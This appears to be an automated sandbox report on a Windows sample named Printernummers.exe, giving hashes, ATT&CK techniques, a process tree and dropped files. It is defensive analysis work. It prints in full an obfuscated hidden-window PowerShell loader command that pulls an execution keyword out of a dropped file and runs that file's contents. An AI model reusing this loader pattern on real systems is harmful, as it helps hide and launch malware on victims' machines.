abc310a513d02735786554a683127b642cc1ea3394ae0041e04861d346518592

Analysis

max time kernel
94s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
24-12-2024 12:41

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General

Target

Printernummers.exe
Size

770KB
MD5

5e2ff1914fc1f8ebadf282f4096d6fc8
SHA1

77d61bdf0ce63eed5324b56623b878fc3dc79890
SHA256

f5f3c3a8c7f9f5fb9531fa0d57012ce0869b52b23d05e6c9b7a0220ac917db6d
SHA512

e70121837b94ba002dc2093afcebed4ec1d3f90d46d1466fe66e4f0bd16a9426d58547946ef7f420c937017deb650c5705c7792f6047de68918f018b7ec4d916
SSDEEP

12288:6DGZKmormA1FvvLR3x8rqDFXlo3KsAYzjDCwonXnWMIk2CyLuuOSFBPpJh/gpcXF:4mor/1t8uTooHNnXWMIdCkOqXPgKP9

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1904	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
376	Printernummers.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\unthick.ini	Printernummers.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Printernummers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1904	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1904	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 376 wrote to memory of 1904	376	Printernummers.exe	30
PID 376 wrote to memory of 1904	376	Printernummers.exe	30
PID 376 wrote to memory of 1904	376	Printernummers.exe	30
PID 376 wrote to memory of 1904	376	Printernummers.exe	30

C:\Users\Admin\AppData\Local\Temp\Printernummers.exe
"C:\Users\Admin\AppData\Local\Temp\Printernummers.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:376
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Vulcanological=gc -raw 'C:\Users\Admin\AppData\Local\magmaet\clenched\Storvildtjagten180.Agg';$Accusor=$Vulcanological.SubString(74166,3);.$Accusor($Vulcanological) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Windows\Resources\unthick.ini

Filesize
33B

MD5
e23f52386361095bdb7040b09e2216ae

SHA1
91f31dd82ab80140db621b6dce0b9b5d6b568723

SHA256
36467321184a76e0fea592d2896856a37ec18fc8480de66f05d719d93b39d070

SHA512
19d18de54b3466f0d283271786b3b308c3be07f21174c46563c4c16292716c52f2c1b85f416ed77143ea6847bfc4c4c37f22296948eac47499276b181f129b9c

Download Submit
\Users\Admin\AppData\Local\Temp\nsz627D.tmp\nsExec.dll

Filesize
6KB

MD5
1b0e41f60564cccccd71347d01a7c397

SHA1
b1bddd97765e9c249ba239e9c95ab32368098e02

SHA256
13ebc725f3f236e1914fe5288ad6413798ad99bef38bfe9c8c898181238e8a10

SHA512
b6d7925cdff358992b2682cf1485227204ce3868c981c47778dd6da32057a595caa933d8242c8d7090b0c54110d45fa8f935a1b4eec1e318d89cc0e44b115785

Download Submit
memory/1904-150-0x0000000073FA1000-0x0000000073FA2000-memory.dmp

Filesize
4KB

Download
memory/1904-153-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

Download
memory/1904-154-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

Download
memory/1904-152-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

Download
memory/1904-151-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

Download
memory/1904-155-0x0000000073FA0000-0x000000007454B000-memory.dmp

Filesize
5.7MB

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